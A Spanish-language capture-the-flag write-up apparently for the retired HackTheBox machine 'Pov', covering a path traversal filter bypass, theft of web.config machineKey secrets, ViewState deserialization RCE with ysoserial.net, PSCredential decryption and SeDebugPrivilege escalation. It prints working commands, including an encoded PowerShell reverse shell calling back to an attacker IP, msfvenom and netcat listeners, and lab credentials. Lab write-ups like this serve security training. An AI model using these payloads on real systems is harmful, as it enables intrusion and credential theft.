Pov - HackTheBox
Resolución de la maquina Pov de HackTheBox
Hola es bueno verlo por acá, aquí tiene su CTF.

Pero antes gracias al creador de la maquina d00msl4y3r y a HackTheBox por retirar la maquina y poderla disfrutar libremente.
Descripción de la maquina.
| Sistema Operativo | Windows |
| Dificultad | Medio |
| Lanzamiento | 10/06/2024 |
| Creador | d00msl4y3r |
| Primer Usuario | xct |
| Primer Root | xct |
Enumeración
Empecemos con nmap
sudo nmap -sS --min-rate 5000 -p- -sCV -Pn -n 10.10.11.251 -oN targete

Solo tenemos el puerto 80 abierto y vemos que hace mención del dominio pov.htb, así que vamos a declararlo en el /etc/hosts

Primeramente visite la web mediante la IP y después con pov.htb y alojan prácticamente lo mismo.

Tenemos una pagina web en donde no tenemos nada interesante, lo único que llama la atención es un email.

Aplique fuzzing en busca de directorios o archivos especialmente aspx y asp ya que la web esta construida con ASP.NET bajo un IIS.
feroxbuster -u http://10.10.11.251/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x asp,aspx,txt,html -t 100 -N 0
feroxbuster -u http://pov.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x asp,aspx,txt,html -t 100 -N 0
Pero no obtuve algún resultado interesante. Así que me dispuse a enumerar posibles subdominios con ffuf.
ffuf -u http://10.10.11.251 -H "Host: FUZZ.pov.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

Y encontramos el subdominio dev vamos a declararlo en nuestro /etc/hosts

Y si visitamos este, tendremos lo que parece ser un portafolio.

Mirando la pagina web, tenemos nuevamente mención del usuario sfitz

Ahora realizamos un poco de fuzzing con feroxbuster
feroxbuster -u http://dev.pov.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x asp,aspx,txt,html -t 100 -N 0
Tenemos varias rutas, pero las mas interesantes son:
La ruta que aloja el default.aspx es la pagina que vemos en la raíz, así que la descartamos y vemos visitamos contact.aspx

Tenemos un formulario pero al enviar el mensaje no tenemos ninguna respuesta.
Regresando a default.aspx, vemos que uno de los testimonios deja un comentario sobre el trabajo del desarrollador.

Y menciona que este no utiliza las mejores practicas de seguridad a la hora de programar en ASP.NET, algo interesante, pero pues continuemos.
Tenemos la opción de descargar un cv.

La cual en efecto funciona y te descarga un archivo pdf.

Análisis de solicitud CV
Intercepte la petición de descargar del cv con burpsuite y visualice la data que se tramita en el request

Y lo mas llamativo de esto es el campo file ya que hace mención del nombre del archivo. ¿Pero que pasa si lo modificamos y apuntamos a otro archivo?
Por ejemplo default.aspx
Lectura de archivos
Si modificamos el parámetro file para ver otro archivo, podemos ver que en efecto podemos leerlo.

Y especialmente el default.aspx ya que ahí redice el request para descargar el cv, así podemos ver como lo hace. Observando el código default.aspx en las primeras linea podemos ver que llama a un archivo llamado index.aspx.cs
Así que lo consultamos...

Y ahí tiene el código de como obtiene el cv.pdf y como lo prepara para su descarga, algo interesante de esto es que tenemos la linea filePath = Regex.Replace(filePath, "../", ""); que es un intento para prevenir la vulnerabilidad de path traversal pero esto es algo simple y fácil de evadir.
Por ejemplo podemos intentar lo siguiente para evadirlo:
....//....//....//....//....//..\..\..\..\..\Ruta absoluta
Vamos a realizar una consulta del archivo /etc/hosts mediante la ruta absoluta.

Y ahí lo tenemos, tenemos una vía potencial para leer archivos.
Ahora algo peculiar de las peticiones en formularios alojados en un IIS son las propiedades
__EVENTTARGET__EVENTARGUMENT__VIEWSTATE__VIEWSTATEGENERATOR__EVENTVALIDATION
Estos siempre viajan de manera se-realizada, es decir que no los puede manipular ya que existen ciertas claves que son empleadas para se-realizar esta data, las claves se almacenan en el servidor IIS normalmente en el archivo web.config
Entonces, otro archivo potencial de leer es el web.config

Tuve que recorrer una carpeta anterior ya que el archivo se encuentra en la raíz del proyecto.
Ahora tenemos la clave que se encuentra en machineKey, con la cual podemos dese-realizar la data que se almacena en la propiedad __VIEWSTATE modificar su contenido e intentar un RCE, ya que en el momento de que el servidor dese-realice el contenido se puede acontecer la vulnerabilidad.
Esto lo podemos realizar con ysoserial.net, esta herramienta nos permite se-realizar cualquier data con la clave machineKey para después almacenar el resultado específicamente en la propiedad __VIEWSTATE
Para hacer uso de ysoserial.net utilizare una maquina windows 10.
Descargamos la herramienta (muy posiblemente deba de desactivar el windows defender)


Descomprime el .zip y le resultara lo siguiente.

Deberá abrir una cmd en el directorio actual.

Si coloca al siguiente comando, podrá ver algunos ejemplos de como utilizar la herramienta específicamente para abusar de la propiedad de __VIEWSTATE
ysoserial.exe -p ViewState --examples
La idea sera ir probando con cada "gadget" e ir intentando hasta conseguir el RCE.

Primero, vamos realizar una prueba para determinar si realmente podemos ejecutar código, es decir que nuestro payload sera un ping a nuestra maquina atacante.
Nos colaremos en escucha con tcpdump y si recibimos paquetes ICMP pues confirmaremos que tenemos un RCE.
Los valores de descriptionKey, validationalg y validationkey se encuentra en
web.config
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.164" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
Esto nos resultara en una cadena muy larga...

Así que copiamos el output y lo pegamos en la propiedad __VIEWSTATE de la petición.

Ahora nos colocamos en escucha en busca de paquetes ICMP por la interfaz de la VPN.
sudo tcpdump -i tun0 icmp -n
Y enviamos la petición, si el RCE se aconteció podremos ver los paquetes ICMP con tcpdump

Ahora solo generamos un payload que nos otorgue una shell reversa con powershell y listo.
Para esto haré uso de revshell.com

Lo que resulta en:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ADQAIgAsADgAMAAwADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"


rlwrap -rAC nc -lnvp 8000
Y aquí lo tenemos.


Escalada de privilegios
Tenemos estos usuarios en el sistema.

Explorando las carpetas del usuario sfitz, tenemos esto, un archivo connection.xml

Almacenando unas credenciales con PsCredentials, la contraseña esta cifrada, pero hay una manera de ver su contenido en texto plano.

Realizando lo siguiente.
$credentials = Import-Clixml -Path .\connection.xml
$credentials.GetNetworkCredential().password

Ah este punto podemos hacer uso de runasCS, para ejecutar comandos como otro usuario o establecernos una shell reversa.
Descargamos el RunasCS.zip en el apartado de releases

Alojamos el archivo en un servicio con python y lo descargamos en la maquina victima con certutil.exe


Ahora hacemos uso de este para enviarnos una shell reversa.
.\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.14.164:8002
Nos colocamos en escucha
rlwrap -cAr nc -lnvp 8002
Ejecutamos...

Y aquí tenemos la primera flag.

SeDebugPrivilege
Ahora, listamos los permisos del usuario y tenemos esto.
whaomi /priv

Cuando un usuario cuenta con este privilegio el usuario puede depurar cualquier proceso, incluido los procesos del sistema, por lo que puede inyectar código en esos procesos y ejecutar código como el usuario quien maneja el proceso.
Para abusar de este permiso podemos jugar con meterpreter.
Vamos a crear un payload para obtener una shell con meterpreter.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.164 LPORT=9001 -f exe -o rev.exe
Ahora alojare este rev.exe en servicio web con python para descargarlo en al maquina victima con certutil.exe
python3 -m http.server 8001

Nos colocamos en escucha.
msfconsole
use /multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 9001
run
Ahora solo ejecute el .\rev.exe y espere la shell.

Después tomaremos el PID del proceso winlogon que es ejecutado como NT AUTHORITY\SYSTEM

Perfecto, en este momento soy el usuario alaading

Nos migramos al proceso 548 y disfrutemos..


Eso fue todo, hasta luego querido lector!!

Referencias
Técnicas empleadas
Subdomain EnumerationLFI through CV DownloadAbusing ViewState IIS Parameter + web.config secrets in order to achieve RCEPlaying withysoserial.netto create a serialized payloadReading a powershell credential and decrypting the contents of the PSCredential objectRunasCs.exe to execute command as another user whose credentials are known to usAbusing SeDebugPrivilege [Privilege Escalation]Playing with chisel + WinRM for a more stable shellUsingpsgetsys.ps1 to execute commands as the administrator user through memory injection

